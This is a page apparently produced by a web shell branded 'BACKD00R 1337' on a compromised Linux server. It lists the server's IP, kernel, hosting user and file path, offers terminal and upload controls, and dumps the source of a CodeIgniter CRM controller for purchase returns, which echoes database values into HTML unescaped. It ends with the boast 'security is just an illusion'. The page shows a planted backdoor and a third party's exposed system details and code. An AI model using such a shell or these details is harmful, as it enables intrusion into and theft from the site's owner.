BACKD00R 1337
Server IP : 164.52.202.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux e2e-70-56.ssdcloudindia.net 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : rubyaromatics ( 1052)
PHP Version : 7.2.34
Directory (0755) :  /home/rubyaromatics/www/crm/application/controllers/

[  Home  ][  Terminal  ][  Upload File  ]

Current File : /home/rubyaromatics/www/crm/application/controllers/Purchase_return.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Purchase_return extends CI_Controller
{
	function __construct() {
		parent::__construct();
		$this->load->model('purchase_return_model');
		$this->load->model('purchase_model');
		$this->load->model('log_model');
	}
		
	public function index(){
		//get purchase return to display list
		$data['data'] = $this->purchase_return_model->getPurchaseReturn();
		$this->load->view('purchase_return/list',$data);
	} 
	/* call add view to add purchase return   */
	public function add(){
		//$data['product'] = $this->purchase_model->getProduct();
		$data['warehouse'] = $this->purchase_return_model->getWarehouse(); 
		$data['supplier'] = $this->purchase_return_model->getSupplier();
		$data['reference_no'] = $this->purchase_return_model->createReferenceNo();
		$this->load->view('purchase_return/add',$data);

	}
	/* get single product */
	public function getProduct($product_id,$warehouse_id){
		$data = $this->purchase_return_model->getProduct($product_id,$warehouse_id);
		$data['discount'] = $this->purchase_model->getDiscount();
		$data['tax'] = $this->purchase_model->getTax();
	    echo json_encode($data);
		//print_r($data);
	}
	/* get all product warehouse wise */
	public function getProducts($warehouse_id){
		$data = $this->purchase_return_model->getProducts($warehouse_id);
	    echo json_encode($data);
		//print_r($data);
	}
	/* This function is used to search product code / name in database */
	public function getAutoCodeName($code,$search_option,$warehouse){
          //$code = strtolower($code);
		  $p_code = $this->input->post('p_code');
		  $p_search_option = $this->input->post('p_search_option');
          $data = $this->purchase_return_model->getProductCodeName($p_code,$p_search_option,$warehouse);
          if($search_option=="Code"){
          	$list = "<ul class='auto-product'>";
          	foreach ($data as $val){
          		$list .= "<li value=".$val->code.">".$val->code."</li>";
          	}
          	$list .= "</ul>";
          }
          else{
          	$list = "<ul class='auto-product'>";
          	foreach ($data as $val){
          		$list .= "<li value=".$val->product_id.">".$val->name."</li>";
          	}
          	$list .= "</ul>";
          }
          
          echo $list;
          //echo json_encode($data);
          //print_r($list);
	}
	/* This function is used to add purchase return in database */
	public function addPurchaseReturn(){
		$this->form_validation->set_rules('date','Date','trim|required');
		$this->form_validation->set_rules('reference_no','Reference No','trim|required');
		//$this->form_validation->set_rules('supplier_id','Supplier ID','trim|required');
		//$this->form_validation->set_rules('warehouse_id','Warehouse ID','trim|required');
		if($this->form_validation->run()==false){

			$this->add();
		}
		else
		{
			$warehouse_id = $this->input->post('warehouse');
			$data = array(
						"date" 			=> 	$this->input->post('date'),
						"reference_no" 	=> 	$this->input->post('reference_no'),
						"supplier_id" 	=>	$this->input->post('supplier'),
						"warehouse_id" 	=>	$warehouse_id,
						"total" 		=> 	$this->input->post('grand_total'),
						"discount_value"=>  $this->input->post('total_discount'),
						"tax_value" 	=>  $this->input->post('total_tax'),
						"note" 			=> 	$this->input->post('note'),
						"user"			=>	$this->session->userdata('user_id')
					);	
			if($id = $this->purchase_return_model->addModel($data)){
				$purchase_item_data = $this->input->post('table_data');
				$log_data = array(
						'user_id'  => $this->session->userdata('user_id'),
						'table_id' => $id,
						'message'  => 'Purchase Return Inserted'
					);
				$this->log_model->insert_log($log_data);
				$js_data = json_decode($purchase_item_data);
				foreach ($js_data as $key => $value) {
					if($value==null){
					}
					else{
						$product_id = $value->product_id;
						$quantity = $value->quantity;
						$data = array(
							"product_id" => $value->product_id,
							"quantity" => $value->quantity,
							"gross_total" => $value->total,
							"discount_id" => $value->discount_id,
							"discount_value" => $value->discount_value,
							"discount" => $value->discount,
							"tax_id" => $value->tax_id,
							"tax_value" => $value->tax_value,
							"tax" => $value->tax,
							"cost" => $value->cost,
							"purchase_return_id" => $id
							);
						$warehouse_data = array(
							"product_id" => $value->product_id,
							"warehouse_id" => $warehouse_id,
							"quantity" => $value->quantity
							);
						$this->purchase_return_model->addProductInWarehouse($product_id,$quantity,$warehouse_id,$warehouse_data);
						if($this->purchase_return_model->addPurchaseItem($data)){
						}
						else{

						}
					}
				}
				redirect('purchase_return','refresh');
			}
			else{
			}
		}
	}
	/* This function is used to call view  edit purchase return */
	public function edit($id){
		$data['warehouse'] = $this->purchase_return_model->getWarehouse(); 
		$data['supplier'] = $this->purchase_return_model->getSupplier();
		$data['data'] = $this->purchase_return_model->getRecord($id);
		$data['product'] = $this->purchase_return_model->getProducts($data['data'][0]->warehouse_id);
		$data['discount'] = $this->purchase_model->getDiscount();
		$data['tax'] = $this->purchase_model->getTax();
		$data['items'] = $this->purchase_return_model->getPurchaseReturnItems($data['data'][0]->id,$data['data'][0]->warehouse_id);	

		$this->load->view('purchase_return/edit',$data);
	}
	/* This function is used to delete discount record in databse */
	public function delete($id){
		if($this->purchase_return_model->deleteModel($id)){
			$log_data = array(
					'user_id'  => $this->session->userdata('user_id'),
					'table_id' => $id,
					'message'  => 'Purchase Return Deleted'
				);
			$this->log_model->insert_log($log_data);
			redirect('purchase_return','return');
		}
		else{
			redirect('purchase_return','return');
		}
	}
	/* This function is to edit purchase return record in database */
	public function editPurchaseReturn(){
		$id = $this->input->post('purchase_return_id');
		$this->form_validation->set_rules('date','Date','trim|required');
		$this->form_validation->set_rules('reference_no','Reference No','trim|required');
		//$this->form_validation->set_rules('supplier_id','Supplier ID','trim|required');
		//$this->form_validation->set_rules('warehouse_id','Warehouse ID','trim|required');
		if($this->form_validation->run()==false){

			$this->edit($id);
		}
		else
		{
			$warehouse_id = $this->input->post('warehouse');
			$data = array(
						"date" 			=> $this->input->post('date'),
						"reference_no"	=>$this->input->post('reference_no'),
						"supplier_id" 	=> $this->input->post('supplier'),
						"warehouse_id" 	=> $this->input->post('warehouse'),
						"total" 		=> $this->input->post('grand_total'),
						"discount_value"=>  $this->input->post('total_discount'),
						"tax_value" 	=>  $this->input->post('total_tax'),
						"note" 			=> $this->input->post('note'),
						"user"			=> $this->session->userdata('user_id')
					);
			
			//$id = $this->input->post('purchase_return_id');
			$js_data = json_decode($this->input->post('table_data1'));
			$php_data = json_decode($this->input->post('table_data'));
			if($this->purchase_return_model->editModel($id,$data)){
				$log_data = array(
						'user_id'  => $this->session->userdata('user_id'),
						'table_id' => $id,
						'message'  => 'Purchase Return Updated'
					);
				$this->log_model->insert_log($log_data);
				if($js_data !=null){
				foreach ($js_data as $key => $value) {
					if($value=='delete'){
						//echo " delete".$key;
						$product_id =  $php_data[$key];
						if($this->purchase_return_model->deletePurchaseReturnItems($id,$product_id,$warehouse_id)){
							//echo " 1.Dsuccess";
						}
					}
					else if($value==null){
						//echo " Null".$key;
					}
					else{
						//echo " array";
						$product_id = $value->product_id;
						$quantity = $value->quantity;
						$data = array(
								"product_id" => $value->product_id,
								"quantity" => $value->quantity,
								"gross_total" => $value->total,
								"discount_id" => $value->discount_id,
								"discount_value" => $value->discount_value,
								"discount" => $value->discount,
								"tax_id" => $value->tax_id,
								"tax_value" => $value->tax_value,
								"tax" => $value->tax,
								"cost" => $value->cost,
								"purchase_return_id" => $id
							);
						$warehouse_data = array(
							"product_id" => $value->product_id,
							"warehouse_id" => $warehouse_id,
							"quantity" => $value->quantity
							);
						if($this->purchase_return_model->addUpdatePurchaseItem($id,$product_id,$warehouse_id,$quantity,$data,$warehouse_data)){
							//echo " 1 Asuccess add";
						}
						else{

						}
					}
				}
				}
				redirect('purchase_return');
			}
			/*echo "<pre>";
			print_r($js_data);
			print_r($php_data);*/
		}
	}
}
?>

security is just an illusion